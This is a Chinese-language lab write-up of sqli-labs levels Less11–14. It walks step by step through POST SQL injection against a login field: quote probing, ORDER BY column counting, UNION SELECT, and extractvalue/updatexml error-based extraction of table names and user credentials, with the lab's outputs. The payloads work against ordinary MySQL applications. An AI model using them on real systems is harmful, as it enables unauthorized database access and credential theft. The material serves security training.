★★實戰前置聲明★★
文章中涉及的程序(方法)可能帶有攻擊性,僅供安全研究與學習之用,讀者將其信息做其他用途,由用戶承擔全部法律及連帶責任,文章作者不承擔任何法律及連帶責任。
0、總體思路
先確認是否可以SQL注入,使用單雙引號,1/0,括號測試 ’ " 1/0 ),頁面顯示不同內容或響應長度來確定。存在SQL注入后則開始構造輪子進行驗證,猜出數據庫,用戶名,表名,字段名,有沒有文件漏洞等。
為方便驗證提交攔截到BP,右擊到Repeater修改參數值進行驗證看響應內容。
特殊字符說明
+表示空格
--表示注釋
以下內容驗證都是在uname=后面構造進行驗證。
1、Less11
POST - Error Based - Single quotes- String
1.1、判斷是否存在SQL注入
正常響應長度
輸入帶單引號’,響應長度有變化
往下拉看到有提示錯誤信息,可以確定可以SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123' LIMIT 0,1' at line 1
1.2、確定查詢字段個數
從界面上看應該是2個,但還是以確定結果為準
# 輸入內容
'+order+by+3--+# 關鍵結果
Unknown column '3' in 'order clause'</br># 修改為2
'+order+by+2--+# 關鍵結果
Your Login name:admin<br>
Your Password:admin<br>
所以可以確定的是查詢字段是2個,剛好又是我輸入的是弱口令賬戶:admin,后面密碼匹配條件又被我注釋了,賬號密碼就拿到了,是可以登錄成功。接下來看是否可拿到其他數據,比如數據庫等。
1.3、聯合查詢
通過union語句方式發現沒辦法拿到其他數據,需要嘗試報錯函數
# 驗證內容1
'+and+1=2+union+select+1,2--+# 輸出內容
Your Login name:1<br>
Your Password:2<br># 驗證內容2
'+and+1=1+union+select+1,2--+
# 驗證內容2
'+and+1=1+union+select+database(),user()--+# 輸出內容
Your Login name:admin<br>
Your Password:admin<br>
1.4、報錯函數
1.4.1、獲取數據庫名和賬號
報錯函數extractvalue,0x7e是~的ASCII碼,字符型后面有加單引號,數字型沒有,
# 字符型
extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
#數字型
extractvalue(1,concat(0x7e,(select+user()),0x7e))=1
根據報錯函數獲取到數據庫名,登錄名
# 輸入內容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1# 輸出內容
XPATH syntax error: '~security~'</br># 輸入內容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1# 輸出內容
XPATH syntax error: '~root@localhost~'</br>
報錯函數updatexml,字符型后面有加單引號,數字型沒有,以下的函數結果和上面的內容獲取的結果是一樣的
# 字符型
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
#數字型
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))=1
1.4.2、獲取表名
使用updatexml獲取庫的表名,0x23是#的ASCII碼
# 輸入內容
'and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))='1# 輸出內容
XPATH syntax error: '#emails,referers,uagents,users'</br>
從獲取到的數據庫表名,users應該就是存儲數據庫登錄名的表了。
注意:在靶場實驗過程中可獲取:數據庫=>表=>字段=>數據 ,但在實戰過程中,到數據庫這個步驟就行,不要去查數據。
1.4.3、獲取表對應字段
# 輸入內容
'and+(updatexml(1,concat(0x23,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users')),1))='1# 輸出內容
XPATH syntax error: '#id,username,password'</br>
1.4.4、獲取表數據
# 輸入內容
'and+(updatexml(1,concat(0x23,(select+group_concat(id,'~',username,'~',password)+from+security.users)),1))='1# 輸出內容
XPATH syntax error: '#1~Dumb~Dumb,2~Angelina~I-kill-y'</br>
1.5、驗證登錄
使用賬號/密碼:Dumb/Dumb,登錄成功
2、Less12
POST - Error Based - Double quotes- String-with twist
2.1、判斷是否存在SQL注入
正常響應長度
輸入帶單引號’發現沒有變化
嘗試用雙引號",響應長度有變化
往下拉看到有提示錯誤信息,可以確定可以SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123") LIMIT 0,1' at line 1
2.2、確定查詢字段個數
從界面上看應該是2個,但還是以確定結果為準
# 輸入內容
"+order+by+3--+# 輸出結果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ") and password=("123") LIMIT 0,1' at line 1</br>
從錯誤結果來看是少了括號)閉合,因此調整輪子加上括號)驗證
# 輸入內容
")+order+by+3--+# 輸出結果
Unknown column '3' in 'order clause'</br># 修改為2
")+order+by+2--+# 輸出結果
Your Login name:admin<br>
Your Password:admin<br>
所以可以確定的是查詢字段是2個,剛好又是我輸入的是弱口令賬戶:admin,后面密碼匹配條件又被我注釋了,賬號密碼就拿到了,是可以登錄成功。接下來看是否可拿到其他數據,比如數據庫等。
注意后面的所有內容破解前面部分都是需要")
把前面語句閉合。
2.3、聯合查詢
2.3.1、獲取數據庫名和賬號
通過union語句方式查詢數據庫,用戶名。
# 輸入內容
")+and+1=2+union+select+database(),user()--+# 輸出結果
Your Login name:security<br>
Your Password:root@localhost<br>
2.3.2、獲取表名
上面得到的數據庫,進一步獲取表名
# 輸入內容
")+and+1=2+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'--+# 輸出結果
Your Login name:1<br>
Your Password:emails,referers,uagents,users<br>
從獲取到的數據庫表名,users應該就是存儲數據庫登錄名的表了。
2.3.3、獲取表對應字段
# 輸入內容
")+and+1=2+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'--+# 輸出結果
Your Login name:1<br>
Your Password:id,username,password<br>
2.3.4、獲取表數據
# 輸入內容
")+and+1=2+union+select+1,group_concat(id,'~',username,'~',password)+from+security.users--+# 輸出結果
Your Login name:1<br>
Your Password:1~Dumb~Dumb,2~Angelina~I-kill-you,3~Dummy~p@ssword,4~secure~crappy,5~stupid~stupidity,6~superman~genious,7~batman~mob!le,8~admin~admin,9~admin1~admin1,10~admin2~admin2,11~admin3~admin3,12~dhakkan~dumbo,14~admin4~admin4<br>
賬號/密碼有點多,隨便找一個進行驗證。
2.4、驗證登錄
使用賬號/密碼:admin3/admin3,登錄成功
3、Less13
POST - Double Injection - Single quotes- String -with twist
3.1、判斷是否存在SQL注入
正常響應長度
輸入帶單引號’,響應長度有變化
往下拉看到有提示錯誤信息,可以確定可以SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123') LIMIT 0,1' at line 1
3.2、確定查詢字段個數
從界面上看應該是2個,但還是以確定結果為準
# 輸入內容
'+order+by+3--+# 輸出結果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ') and password=('123') LIMIT 0,1' at line 1</br>
從錯誤結果來看是少了括號)閉合,因此調整輪子加上括號)驗證
# 輸入內容
')+order+by+3--+# 輸出結果
Unknown column '3' in 'order clause'</br># 修改為2
')+order+by+2--+# 輸出結果--沒有報錯內容
所以可以確定的是查詢字段是2個
注意后面的所有內容破解前面部分都是需要')
把前面語句閉合。
3.3、聯合查詢
通過union語句方式發現沒辦法拿到其他數據,需要嘗試報錯函數
# 輸入內容
')+and+1=1+union+select+database(),user()--+
3.4、報錯函數
3.4.1、獲取數據庫名和賬號
根據報錯函數獲取到數據庫名,登錄名
# 輸入內容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1# 輸出內容
XPATH syntax error: '~security~'</br># 輸入內容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1# 輸出內容
XPATH syntax error: '~root@localhost~'</br>
3.4.2、獲取表名
使用updatexml獲取庫的表名,0x23是#的ASCII碼,前面部分加上')
用來閉合前面的語句,后面=1
而不是='1
,再加上--+
用于注釋后面的語句,獲取了表名了。
# 輸入內容
')and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))=1--+
# 輸出內容
XPATH syntax error: '#emails,referers,uagents,users'</br>
4、Less14
POST - Double Injection - Single quotes- String -with twist
4.1、判斷是否存在SQL注入
正常響應長度
輸入帶雙引號",響應長度有變化
往下拉看到有提示錯誤信息,可以確定可以SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123" LIMIT 0,1' at line 1</br>
4.2、確定查詢字段個數
從界面上看應該是2個,但還是以確定結果為準
# 輸入內容
"+order+by+3--+# 輸出結果
Unknown column '3' in 'order clause'</br># 修改為2
"+order+by+2--+# 輸出結果--沒有報錯內容
所以可以確定的是查詢字段是2個。
3.3、聯合查詢
通過union語句方式發現沒辦法拿到其他數據,需要嘗試報錯函數
# 輸入內容
"+and+1=1+union+select+database(),user()--+
4.4、報錯函數
4.4.1、獲取數據庫名和賬號
根據報錯函數獲取到數據庫名,登錄名
# 輸入內容
"and+extractvalue(1,concat(0x7e,(select+database()),0x7e))="1# 輸出內容
XPATH syntax error: '~security~'</br># 輸入內容
"and+extractvalue(1,concat(0x7e,(select+user()),0x7e))="1# 輸出內容
XPATH syntax error: '~root@localhost~'</br>
5、資料獲取
sqli-labs靶場環境搭建請參考《靶場環境搭建【XP、pikachu、dvwa、sqli-labs】》